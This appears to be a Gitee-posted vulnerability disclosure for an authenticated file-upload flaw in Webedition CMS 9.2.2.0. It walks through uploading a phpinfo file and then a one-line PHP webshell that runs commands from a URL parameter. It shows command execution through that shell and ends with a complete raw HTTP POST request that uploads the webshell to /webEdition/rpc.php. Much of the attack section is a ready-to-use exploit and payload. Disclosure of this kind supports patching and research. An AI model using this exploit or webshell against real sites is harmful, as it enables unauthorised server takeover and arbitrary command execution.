Webedition CMS 9.2.2.0 has a File upload vulnerability via /webEdition/we_cmd.php

## Install using OnlineInstaller.php
Download link: https://download.webedition.org/releases/
Runtime environment: Nginx + php8.1
Bind domain name webedition.test
Access through a web browser.
![输入图片说明](https://foruda.gitee.com/images/1709221897524512676/dbc430c8_5124624.png "屏幕截图")

After installation is complete.
![输入图片说明](https://foruda.gitee.com/images/1709221908215648738/4b3e02bc_5124624.png "屏幕截图")

## POC
1. Create a new phpinfo.php file locally, code as follows
```php
<?php
phpinfo()
?>
```
2. Go to File -> Import/Export -> import -> Import local files
![输入图片说明](https://foruda.gitee.com/images/1709222050341901739/b3ec2807_5124624.png "屏幕截图")
Choose Overwrite the existing file
![输入图片说明](https://foruda.gitee.com/images/1709222018367131570/f6d87feb_5124624.png "屏幕截图")
Click next
![输入图片说明](https://foruda.gitee.com/images/1709222083624830001/ea84a3fa_5124624.png "屏幕截图")

Add the local phpinfo.php file and click Upload to upload the file.
![输入图片说明](https://foruda.gitee.com/images/1709222144460794375/9ca4a983_5124624.png "屏幕截图")

The upload was successful, and you can see phpinfo.php on the left side.

Access http://webedition.test/phpinfo.php
![输入图片说明](https://foruda.gitee.com/images/1709222241751403360/82490cc2_5124624.png "屏幕截图")
Successfully parsed PHP script file.

Next, upload the webshell as cmd.php, the code is as follows.
```php
<?php system($_GET['cmd'])?>
```
After uploading successfully with the same previous operation
Access http://webedition.test/cmd.php?cmd=uname%20-a
![输入图片说明](https://foruda.gitee.com/images/1709222368590829637/946043c3_5124624.png "屏幕截图") 
Successfully executed system command.

POC:
```
POST /webEdition/rpc.php?cmd=uploadProcess HTTP/1.1
Host: webedition.test
Content-Length: 3004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Accept: */*
Origin: http://webedition.test
Referer: http://webedition.test/webEdition/index.php?we_cmd[0]=startWE
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: WESESSION=065414a1ad57da84f32469df75aa9add08e00e77; treewidth_main=300; cookie=yep
Connection: close

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fileinputName"

we_File
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="doCommitFile"

true
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="genericFilename"

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weResponseClass"

we_fileupload_resp_multiimport
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="wePartNum"

1
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="wePartCount"

1
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="wePartSize"

29
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weRetry"

0
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weFileSize"

29
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weFileName"

cmd1.php
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weFilePath"

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weFileCt"

text/php
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weUniqueId"

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="we_File"; filename="cmd.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd'])?>

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_focusX"

0
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_focusY"

0
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_importMetadata"

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weFormNum"

1
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="weFormCount"

1
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="we_cmd[0]"

import_files
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="step"

1
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_file_sameName"

overwrite
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_file_parentID"

0
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_categories"

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_isSearchable"

0
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_parseFile"

1
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_thumbs"

------WebKitFormBoundary8mHLKAk7Pjw3Fi3c
Content-Disposition: form-data; name="fu_doc_importDirs"

1
------WebKitFormBoundary8mHLKAk7Pjw3Fi3c--

```

![输入图片说明](https://foruda.gitee.com/images/1709222450199487941/5bf43846_5124624.png "屏幕截图")

小呆/Pwn

Content Risk Flag

Comments (0)

小呆/Pwn .gitee-modal { width: 500px !important; }

Content Risk Flag